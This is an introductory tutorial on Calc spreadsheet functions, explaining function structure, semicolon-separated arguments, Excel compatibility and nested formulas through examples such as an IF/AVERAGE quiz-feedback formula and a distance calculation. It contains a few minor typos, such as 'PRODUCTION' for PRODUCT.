Calc includes over 350 functions to help you analyze and reference data. Many of these functions are for use with numbers, but many others are used with dates and times, or even text. A function may be as simple as adding two numbers together, or finding the average of a list of numbers. Alternatively, it may be as complex as calculating the standard deviation of a sample, or a hyperbolic tangent of a number.

Typically, the name of a function is an abbreviated description of what the function does. For instance, the FV function gives the future value of an investment, while BIN2HEX converts a binary number to a hexadecimal number. By tradition, functions are entered entirely in upper case letters, although Calc will read them correctly if they are in lower or mixed case, too.

A few basic functions are also represented by symbols. For instance, SUM, which adds arguments, can also be entered as + while PRODUCTION, which multiplies arguments, can also be entered as *.

Each function has a number of arguments used in the calculations. These arguments may or may not have their own name. As user, your job is to enter the arguments needed to run the function. In some cases, the arguments will have pre-defined choices, and you may need to refer to the online help to understand them. More often, however, an argument is a value that you enter manually, or one already entered in a cell or range of cells on the spreadsheet. In Calc, you can enter values from other cells by typing in their name or range, or --unlike the case in some spreadsheets -- by selecting cells with the mouse. Should the values in the cells change, then the result of the function is automatically updated.

Strictly speaking, when all the arguments are entered and a function is ready to run, it becomes a formula. These terms are sometimes used interchangeably, but the distinction is worth preserving, because a formula can use functions as an argument.

For compatibility's sake, both functions and their arguments in Calc have almost identical names to their counterparts in MS Excel. However, both Excel and Calc have functions that the other lack. Occasionally, too, functions with the same names in Calc and Excel have different arguments, or slightly different names for the same argument -- neither of which can be imported to the other. However, maybe nine-tenths of functions can be imported between Calc and Excel without any problems.

Understanding the Structure of Functions

Except for simple functions such as + or *, all formulas have a similar structure. If you use the right tool for entering a formula (a subject for Part 2), you can escape learning this structure, but it is still worth knowing for troubleshooting.

To give a typical example, the structure of a formula to find cells that match an entered search criteria is:

= DCOUNT (Database;Database field;Search_criteria)

Like most formula, this one starts with an equal sign. It is followed by the DCOUNT, the name of the function.

After the name of the function comes its arguments. All arguments are required, unless specifically listed as optional.

Arguments are added within the brackets, and separated by semi-colons, with no space between the arguments and the semi-colons. Many arguments are a number. A Calc function can take up to thirty numbers as an argument. That may not sound like much at first. However, when you realize that the number can be not only a number or a single cell, but also an array or range of cells that contain several or even hundreds of cells, then the apparent limitation vanishes.

Other arguments may be a column label, a mathematical constant, or a value unique to that function.

Depending on the function, arguments may have to be entered with straight quotation marks. However, this requirement is not consistent. Otherwise similar formulas may differ only in this requirement, and no simple rule tells you which is which. You simply have to know or check the requirements in the online help.

The only exception to these structural rules are basic arithmetical functions entered with symbols. For example, instead of entering =SUM(2;3), you can enter =2+3.

Advanced structure

As well as being used on its own, a function can be an argument in a larger formula. A formula, however, is limited by the fact that it can only do one function at a time. And that means that you need to make sure that functions are done in the right order if the formula is going to work.

To help set the order for functions in a multiple function formula, you use parentheses within parentheses. When the formula is run, Calc does the innermost function first, then works outwards. For example, in the simple calculation =2+(5*7), Calc multiples 5 by 7 first. Only then is 2/code> added to the result to get 37.

The placement of functions within sets of parentheses is called nesting. Basically, it reduces a function that could run on its own to an argument in the formula. For example, in =2+(5*7), the formula (5*7) is nested within the larger formula of =2+(5*7).

In other words, the nested function becomes an argument of another function.

This relation is more obvious when doing a calculation using a function with a name. For all purposes,

=SUM(2;PRODUCT(5;7))

is the same formula as =2+(5*7). However, when SUM and PRODUCT are used, then the relation is clearer.The fact that the PRODUCT function comes after a semi-colon and in a set of parentheses for the SUM function makes it clear that PRODUCT is an argument for SUM. In addition, the fact that the inner pair of parentheses is around (5;7) makes clear that this operation is done before the one defined by the outer pair of parentheses.

To get an idea of what nested functions can do, imagine that you are designing a self-directed learning module. During the module, students do three quizzes, and enter the results in cells A1, A2, and A3. In A4, you can create a nested formula that begins by averaging the results of the quizzes with the formula =AVERAGE(A1:A3). The formula then uses the IF function to give the student feedback that depends upon the average grade on the quizzes. The entire formula would read:

=IF(AVERAGE(A1:A3) >85; "Congratulations! You are ready to advance to the next module"; "Failed. Please review the material again. If necessary, contact your instructor for help")

Depending on the average, the student would either receive the message for congratulations of failure.

Notice that the nested formula for the average does not require its own equal sign. The one at the start of the equation is enough for both formula.

Conclusion

If you are new to spreadsheets, the best way to think of functions is as a scripting language. I've used simple examples in order to explain more clearly, but, through nesting of functions, a Calc formula can quickly become complex.

For instance, a few years ago, when I was thinking of writing a book on OpenOffice,org, Kohei Yoshida offered to me the following as an example of what a formula can do:

=6367.5*ACOS(COS(E3*2*PI()/360)*COS(E8*2*PI()/360)*COS((E9-E4)*2*PI()/360)+SIN(E3*2*PI()/360)*SIN(E8*2*PI()/360))

This is a formula for calculating the distance between two locations in kilometers, based on their longitudes and latitudes. In the formula, cells E3 and E4 give the longitude and latitude respectively of one location, while cells E8 and E9 give the same information for the other.

If you examine this formula, you'll soon understand that the comparison of functions to a scripting language is not much exaggerated. That's why an expert formula writer can earn money comparable to an experienced programmer's.

Of course, you may not have such elaborate purposes. But, in Part 2, I'll talk about how to work with functions and some of the simple uses that any user may find for them.